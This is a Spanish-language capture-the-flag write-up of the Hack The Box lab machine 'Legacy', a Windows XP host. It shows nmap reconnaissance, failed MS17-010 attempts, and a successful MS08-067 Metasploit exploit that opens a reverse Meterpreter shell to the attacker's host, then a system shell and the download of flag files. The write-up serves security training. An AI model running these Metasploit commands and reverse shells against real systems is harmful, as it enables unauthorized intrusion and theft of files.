

WriteUp



Legacy



Hack The Box
PEN-TESTING LABS



infoSegura

<https://www.hackthebox.eu/home/users/profile/262959>



Legacy es una máquina Windows creada por el usuario **Ch4p**¹, lanzada el **15 de marzo de 2017**. El nivel de complejidad es **Easy**, y en las estadísticas, la mayoría de usuarios la califican como demasiada fácil.
IP **10.10.10.4**.

Sumario

1. Reconocimiento.....	2
1.1 . Identificación de puertos.....	2
1.2 . Información detallada de puertos.....	2
1.3 . Información de vulnerabilidades.....	3
2. Explotación.....	3
2.1 . MS17-010.....	3
2.2 . searchsploit.....	4
2.3 . Metasploit - Msfconsole.....	4
2.3.1 . Módulo smb_doublepulsar_rce.....	4
2.3.2 . Módulo ms17_010_eternalblue.....	5
2.4 . MS08-067.....	5
2.4.1 . Módulo ms08_067_netapi.....	5
3. Acceso al sistema.....	6
3.1 . meterpreter.....	6
3.2 . Shell del sistema.....	6
3.3 . Buscando banderas.....	7
3.3.1 . Descarga de archivos.....	7

¹ <https://www.hackthebox.eu/home/users/profile/1>

1. Reconocimiento

1.1 . Identificación de puertos

En el escaneo de puertos, se identificaron los siguientes 139, 445, y 3389.

```
# Nmap 7.80 scan initiated Mon Apr 6 15:17:41 2020 as: nmap -sV -sC -p- --min-rate=10000 -oA scans/legacy-allports 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.17s latency).
Not shown: 65532 filtered ports
PORT      STATE SERVICE      VERSION
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows XP microsoft-ds
3389/tcp    closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h30m04s, deviation: 2h07m16s, median: 4d23h00m04s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:17:da (VMware)
|_smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_ System time: 2020-04-12T01:18:20+03:00
|_smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
```

1.2 . Información detallada de puertos

En la búsqueda anterior de los puertos abiertos, hubieron hallazgos importantes, entre los cuales es la versión de un sistema Windows XP, y servicios netbios.

```
# Nmap 7.80 scan initiated Mon Apr 6 15:20:39 2020 as: nmap -sV -vvv -p 139,445,3389 -oA scans/puertos-Detalle 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up, received echo-reply ttl 127 (0.17s latency).
Scanned at 2020-04-06 15:20:40 -05 for 20s

PORT      STATE SERVICE      REASON          VERSION
139/tcp    open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds  syn-ack ttl 127 Microsoft Windows XP microsoft-ds
3389/tcp    closed ms-wbt-server reset ttl 127
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/support/bmit/ .
# Nmap done at Mon Apr 6 15:21:00 2020 -- 1 IP address (1 host up) scanned in 20.59 seconds
```

1.3 . Información de vulnerabilidades

Al ser un sistema desactualizado, nmap, nos brinda información detallada sobre los CVES detectados en el equipo. En el siguiente cuadro se marca de color las dos vulnerabilidades críticas que fueron encontradas:

```
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
|   VULNERABLE:
|     Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs: CVE:CVE-2008-4250
|     The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server
2003 SP1 and SP2,
|     Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to
execute arbitrary
|     code via a crafted RPC request that triggers the overflow during path cano-
nicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SMBv1
|     servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wanna-
crypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_
# Nmap done at Mon Apr  6 15:23:06 2020 -- 1 IP address (1 host up) scanned in 55.06 se-
conds
```

2. Explotación

La fase de enumeración, ya se identifica que el equipo es vulnerable y probablemente explotable.

2.1 . MS17-010

Esta vulnerabilidad es considerada como crítica, y permite la ejecución remota de código si un atacante envía mensajes especialmente diseñados a un servidor Microsoft Server Message Block 1.0 (SMBv1)². El grupo Shadow Brokers liberó un grupo de exploit de la suit llamada FuzzBunch, el exploit destacado es el llamado ETERNALBLUE. La solución a esta vulnerabilidad es deshabilitar SMBv1.

² <https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/ms17-010>

2.2 . searchsploit

Usamos la utilidad searchsploit de kali linux, y buscamos el texto referente a la vulnerabilidad ms17-010. El resultado es el siguiente:

```
-----
Exploit Title
-----
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010)
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)
-----
```

Se puede ver que existen varios exploits para la vulnerabilidad identificada como MS17-010. Pasamos metasploit para usar un exploit con el cual se intentará explotar el sistema.

2.3 . Metasploit - Msfconsole

Metasploit es un proyecto de código abierto para la seguridad informática, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración "Pentesting"³.

```
msf5 > search MS17-010

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/admin/smb/ms17_010_command      2017-03-14      normal No      MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remo
1  auxiliary/scanner/smb/smb_ms17_010       2017-03-14      normal No      MS17-010 SMB RCE Detection
2  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14      average No      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
4  exploit/windows/smb/ms17_010_psexec       2017-03-14      normal Yes     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remo
5  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14      great  Yes     SMB DOUBLEPULSAR Remote Code Execution
```

2.3.1 . Módulo smb_doublepulsar_rce

Este módulo ejecuta un payload de Metasploit contra el implante DOUBLEPULSAR para SMB del Grupo Equation, el exploit se le conoce como ETERNALBLUE. Si bien este módulo realiza principalmente la ejecución de código contra el implante, el objetivo "Neutralizar implante" permite desactivar el implante.

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/smb_doublepulsar_rce
msf5 exploit(windows/smb/smb_doublepulsar_rce) > set rhosts 10.10.10.4
rhosts => 10.10.10.4
msf5 exploit(windows/smb/smb_doublepulsar_rce) > set lhost tun0
lhost => 10.10.14.23
```

```
msf5 exploit(windows/smb/smb_doublepulsar_rce) > run

[*] Started reverse TCP handler on 10.10.14.23:4444
[-] 10.10.10.4:445 - Exploit aborted due to failure: bad-config:

Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.

Disable the DefangedMode option if you have authorization to proceed.

[*] Exploit completed, but no session was created.
```

2.3.2 . Módulo ms17_010_eternalblue

Este módulo es un puerto del exploit ETERNALBLUE de Equation Group, y parte del kit de herramientas FuzzBunch lanzado por Shadow Brokers. Hay una operación de memoria de desbordamiento de búfer en Srv! SrvOs2FeaToNt. El tamaño se calcula en Srv! SrvOs2FeaListSizeToNt, con error matemático, donde un DWORD es substraído en un WORD.

```
exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.4
rhosts => 10.10.10.4
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
```

Al ejecutar el exploit, no se logra obtener una consola de meterpreter.

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.23:4444
[*] 10.10.10.4:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.4:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1
[*] 10.10.10.4:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.4:445 - Connecting to target for exploitation.
[+] 10.10.10.4:445 - Connection established for exploitation.
[+] 10.10.10.4:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.4:445 - CORE raw buffer dump (11 bytes)
[*] 10.10.10.4:445 - 0x00000000 57 69 6e 64 6f 77 73 20 35 2e 31 Windows 5.1
[+] 10.10.10.4:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.4:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.4:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.4:445 - Starting non-paged pool grooming
[+] 10.10.10.4:445 - Sending SMBv2 buffers
[+] 10.10.10.4:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.4:445 - Sending final SMBv2 buffers.
[*] 10.10.10.4:445 - Sending last fragment of exploit packet!
[*] 10.10.10.4:445 - Receiving response from exploit packet
[+] 10.10.10.4:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.4:445 - Sending egg to corrupted connection.
[*] 10.10.10.4:445 - Triggering free of corrupted buffer.
[-] 10.10.10.4:445 - =====
[-] 10.10.10.4:445 - =====FAIL=====
[-] 10.10.10.4:445 - =====
```

2.4 . MS08-067

Se trata de una vulnerabilidad para la ejecución remota de código. En los sistemas basados en Microsoft Windows 2000, Windows XP y Windows Server 2003, un atacante podría aprovechar esta vulnerabilidad sobre RPC sin autenticación y ejecutar código arbitrario. Si falla el intento de aprovecharse de esta vulnerabilidad, también podría dar lugar a un bloqueo en Svchost.exe⁴. Si se produce dicho bloqueo, afectará al servicio del servidor.

La causa de esta vulnerabilidad es el servicio del servidor, que no controla correctamente las solicitudes de RPC especialmente elaboradas para ello.

2.4.1 . Módulo ms08_067_netapi

Este módulo explota una falla de análisis en la canonicalización de ruta código de NetAPI32.dll a través del servicio del servidor. Este módulo es

⁴ MS08-067: Una vulnerabilidad en el servicio Servidor podría permitir la ejecución remota de código, <https://support.microsoft.com/es-es/help/958644/ms08-067-vulnerability-in-server-service-could-allow-remote-code-execu>

capaz de pasar por alto NX en algunos sistemas operativos y paquetes de servicios.

```
msf5 exploit(windows/smb/ms08_067_netapi) > set rhosts 10.10.10.4
rhosts => 10.10.10.4
msf5 exploit(windows/smb/ms08_067_netapi) > run
```

```
[*] Started reverse TCP handler on 10.10.14.23:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (180291 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.23:4444 → 10.10.10.4:1031) at 2020-04-07 06:12:14 -0500
meterpreter > |
```

Con el módulo anterior, se pudo explotar el sistema operativo y se obtuvo correctamente una sesión de meterpreter.

3. Acceso al sistema

3.1 . meterpreter

Meterpreter es un interprete de comandos que permite de una forma segura y ligera interactuar con la maquina objetivo ganando por una parte la flexibilidad de un stagers (ejecución de múltiples comandos en un payload) y por otra parte, la fiabilidad de que no será detectado fácilmente por un antivirus, firewall o IDS ya que se ejecuta como un proceso en el sistema operativo y no escribe ningún fichero al sistema remoto.

Meterpreter permite obtener una gran cantidad de información sobre un objetivo comprometido, así como también manipular procesos del sistema y/o terminarlos. Con meterpreter es posible ejecutar comandos, además permite llamar a la shell de windows.

```
meterpreter > sysinfo
Computer      : LEGACY
OS            : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain       : HTB
Logged On Users : 1
Meterpreter   : x86/windows
```

3.2 . Shell del sistema

Con el comando shell de meterpreter, podemos obtener la shell del sistema remoto, y ejecutar los comandos propios del sistema.

```
meterpreter > shell
Process 1752 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

```
C:\WINDOWS\system32>systeminfo

Host Name:                LEGACY
OS Name:                  Microsoft Windows XP Professional
OS Version:               5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Workstation
OS Build Type:             Uniprocessor Free
Registered Owner:         user
Registered Organization:   HTB
Product ID:                55274-643-7213323-23904
Original Install Date:     16/3/2017, 7:32:23
System Up Time:            0 Days, 0 Hours, 30 Minutes, 57 Seconds
System Manufacturer:      VMware, Inc.
System Model:              VMware Virtual Platform
System type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              INTEL - 6040000
Windows Directory:        C:\WINDOWS
System Directory:         C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     511 MB
Available Physical Memory: 373 MB
Virtual Memory: Max Size: 2.048 MB
Virtual Memory: Available: 2.005 MB
Virtual Memory: In Use:    43 MB
Page File Location(s):    C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
NetWork Card(s):           1 NIC(s) Installed.
                           [01]: VMware Accelerated AMD PCNet Adapter
                               Connection Name: Local Area Connection
                               DHCP Enabled:    No
                               IP address(es)
                               [01]: 10.10.10.4
```

3.3 . Buscando banderas

Con el comando exit, regresamos a la consola de meterpreter.

```
meterpreter > search -f user.txt
Found 1 result...
  c:\Documents and Settings\john\Desktop\user.txt (32 bytes)
meterpreter > search -f root.txt
Found 1 result...
  c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
meterpreter > █
```

3.3.1 . Descarga de archivos

```
meterpreter > search -f root.txt
Found 1 result...
  c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
meterpreter > download "c:\Documents and Settings\Administrator\Desktop\root.txt"
[*] Downloading: c:\Documents and Settings\Administrator\Desktop\root.txt → root.txt
```



```
meterpreter > search -f user.txt
Found 1 result...
  c:\Documents and Settings\john\Desktop\user.txt (32 bytes)
meterpreter > download "c:\Documents and Settings\john\Desktop\user.txt"
[*] Downloading: c:\Documents and Settings\john\Desktop\user.txt → user.txt
```

```
meterpreter > shell
```

```
Process 832 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

user
C:\WINDOWS\system32>type "c:\Documents and Settings\john\Desktop\user.txt"
type "c:\Documents and Settings\john\Desktop\user.txt"
e69*****7644f

C:\WINDOWS\system32>type "c:\Documents and Settings\Administrator\Desktop\root.txt"
type "c:\Documents and Settings\Administrator\Desktop\root.txt"
993*****5d5713
```